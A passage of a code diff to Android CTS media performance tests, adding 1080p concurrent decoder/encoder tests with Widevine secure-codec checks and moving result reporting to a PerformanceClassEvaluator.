+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc_cenc.mp4");
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc_cenc.mp4");
+        // TODO(b/230682028)
+        // m1080pWidevineTestFiles
+        //         .put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9_cenc.webm");
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1_cenc.mp4");
     }
 
     String mMime;
     String mTestFile;
     final boolean mIsAsync;
 
-    double mMaxFrameRate;
-
     @Before
     public void isPerformanceClassCandidate() {
         Utils.assumeDeviceMeetsPerformanceClassPreconditions();
@@ -86,6 +107,11 @@
 
     // Returns the list of hardware codecs for given mime
     public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder) {
+        return getHardwareCodecsForMime(mime, isEncoder, false);
+    }
+
+    public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder,
+            boolean allCodecs) {
         // All the multi-instance tests are limited to codecs that support at least 1280x720 @ 30fps
         // This will exclude hevc constant quality encoders that are limited to max resolution of
         // 512x512
@@ -93,13 +119,15 @@
         fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
         ArrayList<MediaFormat> formatsList = new ArrayList<>();
         formatsList.add(fmt);
-        return selectHardwareCodecs(mime, formatsList, null, isEncoder);
+        return selectHardwareCodecs(mime, formatsList, null, isEncoder, allCodecs);
     }
 
     // Returns the max number of 30 fps instances that the given list of mimeCodecPairs
-    // supports. It also checks that the each codec supports 180 fps PerformancePoint.
+    // supports. It also checks that the each codec supports a PerformancePoint that covers
+    // required number of 30 fps instances.
     public int checkAndGetMaxSupportedInstancesForCodecCombinations(int height, int width,
-            ArrayList<Pair<String, String>> mimeCodecPairs) throws IOException {
+            ArrayList<Pair<String, String>> mimeCodecPairs, int requiredMinInstances)
+            throws IOException {
         int[] maxInstances = new int[mimeCodecPairs.size()];
         int[] maxFrameRates = new int[mimeCodecPairs.size()];
         int[] maxMacroBlockRates = new int[mimeCodecPairs.size()];
@@ -112,7 +140,7 @@
             assertTrue(pps.size() > 0);
 
             boolean hasVP9 = mimeCodecPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-            int requiredFrameRate = getRequiredMinConcurrentInstances(hasVP9) * 30;
+            int requiredFrameRate = requiredMinInstances * 30;
 
             maxInstances[loopCount] = cap.getMaxSupportedInstances();
             PerformancePoint PPRes = new PerformancePoint(width, height, requiredFrameRate);
@@ -144,20 +172,65 @@
         int minOfMaxFrameRates = maxFrameRates[0];
         int minOfMaxMacroBlockRates = maxMacroBlockRates[0];
 
-        // Allow a tolerance in expected frame rate
-        mMaxFrameRate = minOfMaxFrameRates * FPS_TOLERANCE_FACTOR;
-
         // Calculate how many 30fps max instances it can support from it's mMaxFrameRate
         // amd maxMacroBlockRate. (assuming 16x16 macroblocks)
         return Math.min(minOfMaxInstances, Math.min((int) (minOfMaxFrameRates / 30.0),
                 (int) (minOfMaxMacroBlockRates / ((width / 16) * (height / 16)) / 30.0)));
     }
 
-    public int getRequiredMinConcurrentInstances(boolean hasVP9) {
+    public int getRequiredMinConcurrentInstances720p(boolean hasVP9) throws IOException {
         // Below T, VP9 requires 60 fps at 720p and minimum of 2 instances
         if (!Utils.isTPerfClass() && hasVP9) {
             return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
         }
         return REQUIRED_MIN_CONCURRENT_INSTANCES;
     }
+
+    boolean isSecureSupportedCodec(String codecName, String mime) throws IOException {
+        boolean isSecureSupported;
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        isSecureSupported = codec.getCodecInfo().getCapabilitiesForType(mime).isFeatureSupported(
+                FEATURE_SecurePlayback);
+        codec.release();
+        return isSecureSupported;
+    }
+
+    boolean isWidevineSupported() {
+        return MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
+    }
+
+    boolean isWidevineL1Supported() throws UnsupportedSchemeException {
+        boolean isL1Supported = false;
+        if (isWidevineSupported()) {
+            MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
+            isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
+            mediaDrm.close();
+        }
+        return isL1Supported;
+    }
+
+    boolean isInternetAvailable() {
+        Context context = androidx.test.core.app.ApplicationProvider.getApplicationContext();
+        ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        NetworkCapabilities cap = cm.getNetworkCapabilities(cm.getActiveNetwork());
+        if (cap == null) return false;
+        return cap.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET);
+    }
+
+    boolean meetsSecureDecodePreconditions() throws UnsupportedSchemeException {
+        Assume.assumeTrue("Skipping secure decoder performance tests as Widevine is not supported",
+                isWidevineSupported());
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("If Widevine is supported, L1 support is required for media performance " +
+                            "class T devices",
+                    isWidevineL1Supported());
+            assertTrue("Test requires internet connection for validating secure decoder " +
+                            "requirements for media performance class T devices",
+                    isInternetAvailable());
+            return true;
+        }
+
+        return isWidevineL1Supported() && isInternetAvailable();
+    }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 31c069f..9638882 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -19,20 +19,18 @@
 import static org.junit.Assert.assertTrue;
 
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -55,6 +53,7 @@
 @RunWith(Parameterized.class)
 public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
+    private static final int REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE = 3;
 
     private final Pair<String, String> mFirstPair;
     private final Pair<String, String> mSecondPair;
@@ -66,6 +65,9 @@
         mSecondPair = secondPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of params with two hardware (mime - decoder) pairs in both
     // sync and async modes.
     // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime DecoderName)_isAsync
@@ -74,7 +76,7 @@
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
             }
@@ -102,63 +104,120 @@
     @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
     public void test720p() throws Exception {
         Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+                        isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
 
         boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
                 mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-        int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the number of 1080p 30 fps decoder instances that the given two
+     * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+            "2.2.7.1/5.1/H-1-1",
+            "2.2.7.1/5.1/H-1-2",
+            "2.2.7.1/5.1/H-1-9",
+            "2.2.7.1/5.1/H-1-10",})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean onlyOneSecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
+
+        if (bothSecure) {
+            testCodec(null, 1080, 1920, REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+        } else if (onlyOneSecure) {
+            testCodec(m1080pTestFiles, 1080, 1920,
+                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1);
+        } else {
+            testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+        }
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFiles = testFiles;
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(mFirstPair);
         mimeDecoderPairs.add(mSecondPair);
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean secureWithUnsecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
         int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
-                mimeDecoderPairs);
+                mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        if (maxInstances >= requiredMinInstances) {
+        boolean meetsPreconditions = (isFirstSecure || isSecondSecure) ?
+                meetsSecureDecodePreconditions() : true;
+        // secure test should not reach this point if secure codec doesn't support PP
+        if (meetsPreconditions && (maxInstances >= requiredMinInstances || secureWithUnsecure)) {
             int secondPairInstances = maxInstances / 2;
             int firstPairInstances = maxInstances - secondPairInstances;
-            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+            if (secureWithUnsecure) {
+                firstPairInstances =
+                        isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ? 1 : 3;
+                secondPairInstances = requiredMinInstances - firstPairInstances;
+                maxInstances = requiredMinInstances;
+            }
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < firstPairInstances; i++) {
-                testList.add(new Decode(mFirstPair.first, mTestFiles.get(mFirstPair.first),
-                        mFirstPair.second, mIsAsync));
+                boolean isSecure = isFirstSecure;
+                String testFile = isSecure ? m1080pWidevineTestFiles.get(mFirstPair.first) :
+                        mTestFiles.get(mFirstPair.first);
+                Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+                        mFirstPair.first, testFile != null);
+                testList.add(new Decode(mFirstPair.first, testFile, mFirstPair.second, mIsAsync,
+                        isSecure));
             }
             for (int i = 0; i < secondPairInstances; i++) {
-                testList.add(new Decode(mSecondPair.first, mTestFiles.get(mSecondPair.first),
-                        mSecondPair.second, mIsAsync));
+                boolean isSecure = isSecondSecure;
+                String testFile = isSecure ? m1080pWidevineTestFiles.get(mSecondPair.first) :
+                        mTestFiles.get(mSecondPair.first);
+                Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+                        mSecondPair.first, testFile != null);
+                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second,
+                        mIsAsync, isSecure));
             }
+            ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Future<Double>> resultList = pool.invokeAll(testList);
             for (Future<Double> result : resultList) {
                 achievedFrameRate += result.get();
             }
         }
-        if (Utils.isPerfClass()) {
-            assertTrue("Decoder pair " + mFirstPair.second + " and " + mSecondPair.second
-                            + " unable to support minimum concurrent " +
-                            "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
-                    maxInstances >= requiredMinInstances);
 
-            assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                            + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
-                    achievedFrameRate >= mMaxFrameRate);
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        if (secureWithUnsecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_10 =
+                pce.addR5_1__H_1_10();
+            r5_1__H_1_10.setConcurrentFps(achievedFrameRate);
+        } else if (bothSecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+            r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
         } else {
-            int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate
-                    ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "MultiDecoderPairPerf_" + mFirstPair.second);
-            log.addValue("decoders",
-                    mFirstPair.first + "_" + mFirstPair.second + "_" + mSecondPair.first + "_"
-                            + mSecondPair.second, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
-                    ResultUnit.NONE);
-            log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-1,H-1-2 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+            if (height >= 1080) {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            } else {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            }
         }
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 1c1aeea..f67684e 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -16,26 +16,12 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
 import android.util.Pair;
-
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.Assume;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
@@ -43,6 +29,12 @@
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 /**
  * The following test class validates the maximum number of concurrent decode sessions that it can
@@ -61,6 +53,9 @@
         mDecoderName = decoderName;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the params list with the mime and corresponding hardware decoders in
     // both sync and async modes.
     // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -68,7 +63,7 @@
     public static Collection<Object[]> inputParams() {
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 for (boolean isAsync : boolStates) {
                     argsList.add(new Object[]{mime, decoder, isAsync});
@@ -88,52 +83,78 @@
     @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
     public void test720p() throws Exception {
         Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
-
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mDecoderName, mMime));
         boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-        int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test validates that the decoder can support at least 6 non-secure/2 secure concurrent
+     * 1080p 30fps decoder instances. Also ensures that all the concurrent sessions succeed in
+     * decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+            "2.2.7.1/5.1/H-1-1",
+            "2.2.7.1/5.1/H-1-2",
+            "2.2.7.1/5.1/H-1-9",})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        if (isSecureSupportedCodec(mDecoderName, mMime)) {
+            testCodec(m1080pWidevineTestFiles, 1080, 1920,
+                    REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+        } else {
+            testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+        }
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFile = testFiles.get(mMime);
+        Assume.assumeTrue("Add test vector for mime: " + mMime, mTestFile != null);
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(Pair.create(mMime, mDecoderName));
+        boolean isSecure = isSecureSupportedCodec(mDecoderName, mMime);
         int maxInstances =
                 checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
-                        mimeDecoderPairs);
+                        mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        if (maxInstances >= requiredMinInstances) {
+        boolean meetsPreconditions = isSecure ? meetsSecureDecodePreconditions() : true;
+
+        if (meetsPreconditions && maxInstances >= requiredMinInstances) {
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < maxInstances; i++) {
-                testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync));
+                testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync, isSecure));
             }
             List<Future<Double>> resultList = pool.invokeAll(testList);
             for (Future<Double> result : resultList) {
                 achievedFrameRate += result.get();
             }
         }
-        if (Utils.isPerfClass()) {
-            assertTrue("Decoder " + mDecoderName + " unable to support minimum concurrent " +
-                            "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
-                    maxInstances >= requiredMinInstances);
-            assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                            + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
-                    achievedFrameRate >= mMaxFrameRate);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        if (isSecure) {
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+            r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
         } else {
-            int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate
-                    ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "MultiDecoderPerf_" + mDecoderName);
-            log.addValue("decoders", mMime + "_" + mDecoderName, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
-                    ResultUnit.NONE);
-            log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-1,H-1-2 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+            PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+            if (height >= 1080) {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            } else {
+                r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+                r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+                r5_1__H_1_1.setConcurrentInstances(maxInstances);
+                r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+            }
         }
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index edc2d6c..1997c6b 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -16,24 +16,19 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -66,6 +61,9 @@
         mSecondPair = secondPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of params with two hardware (mime - encoder) pairs in both
     // sync and async modes.
     // Parameters {0}_{1}_{2} -- Pair(Mime EncoderName)_Pair(Mime EncoderName)_isAsync
@@ -105,17 +103,31 @@
 
         boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
                 mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-        int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
         testCodec(720, 1280, 4000000, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the number of 1080p 30 fps encoder instances that the given two
+     * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in encoding.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
     private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
             throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
         mimeEncoderPairs.add(mFirstPair);
         mimeEncoderPairs.add(mSecondPair);
         int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
-                mimeEncoderPairs);
+                mimeEncoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
         if (maxInstances >= requiredMinInstances) {
             int secondPairInstances = maxInstances / 2;
@@ -137,22 +149,22 @@
                 achievedFrameRate += result.get();
             }
         }
-        if (Utils.isPerfClass()) {
-            assertTrue("Encoder pair " + mFirstPair.second + " and " + mSecondPair.second
-                    + " unable to support minimum concurrent instances. act/exp: " + maxInstances
-                    + "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
-            Log.v(LOG_TAG, "Achieved fps: " + achievedFrameRate +
-                    "\nAchieved frame rate is not compared as this test runs in byte buffer mode");
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
+        // Achieved frame rate is not compared as this test runs in byte buffer mode.
+        if (height >= 1080) {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
         } else {
-            int pc = maxInstances >= requiredMinInstances ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "MultiEncoderPairPerf_" + mFirstPair.second);
-            log.addValue("encoders",
-                    mFirstPair.first + "_" + mFirstPair.second + "_" + mSecondPair.first + "_"
-                            + mSecondPair.second, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-3,H-1-4 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
         }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 3a2f1d9..66afa89 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -16,24 +16,19 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -62,6 +57,9 @@
         mEncoderName = encoderName;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the params list with the mime and their hardware encoders in
     // both sync and async modes.
     // Parameters {0}_{2}_{3} -- Mime_EncoderName_isAsync
@@ -90,16 +88,28 @@
         Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
 
         boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-        int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
         testCodec(720, 1280, 4000000, requiredMinInstances);
     }
 
+    /**
+     * This test validates that the encoder can support at least 6 concurrent 1080p 30fps
+     * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+     */
+    @LargeTest
